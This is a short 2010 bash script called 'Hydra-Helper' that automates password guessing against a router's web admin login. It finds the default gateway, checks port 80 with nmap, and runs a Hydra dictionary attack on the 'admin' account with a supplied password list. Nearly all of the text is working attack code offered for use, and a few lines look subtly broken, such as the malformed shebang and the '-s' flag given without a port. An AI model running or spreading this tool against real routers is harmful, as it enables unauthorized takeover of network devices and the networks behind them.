Hydra-Helper

#/bin/bash
echo "##############################"
echo "Welcome to Hydra-Helper v0.2"
echo "##############################"
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# (C)opyright 2010 - Scamentology                                                        #
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#This is my first stab at a shell script so dont be rude.
#It was tested on the following routers
#--Linksys WRT54G
#--airlink-101
#Instructions
#You will need to give the path to you password list then run the script
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username=admin
dictpath=/root/pass.lst
tasks=15
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echo "######################################"
echo "Getting Router IP and Port Information"
echo "######################################"
IP=$(ip route | grep default | awk '{ print $3}')             #Gives us The Gateway IP address
prot=$(nmap -sT -p 80 $IP | grep 80/tcp | awk '{ print $2}')  #Gives us open/closed status of port 80. I'm sure NMAP isnt the only way to do this but I know NMAP well enough.
if [ "$prot" == "open" ] ; then
   prot="http"
else
   prot="https"                                               #We will assume its https if port 80 is closed
fi
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# if ["$prot" == "open "] ; then                              #I gave up trying to if/then both protocols
#    prot="http"                                              #
#    display info "Attacking Port 80"
#      if ["$prot" == "closed "] ; then
#         prot="https"
#         display info "Attacking Port 443"
# else
# prot=192.168.1.1
#      fi
# fi
##################################################################
hydra -l $username -P $dictpath -e ns -t $tasks -f -s -vV $IP $prot-get /
exit
#todo
#improve progress status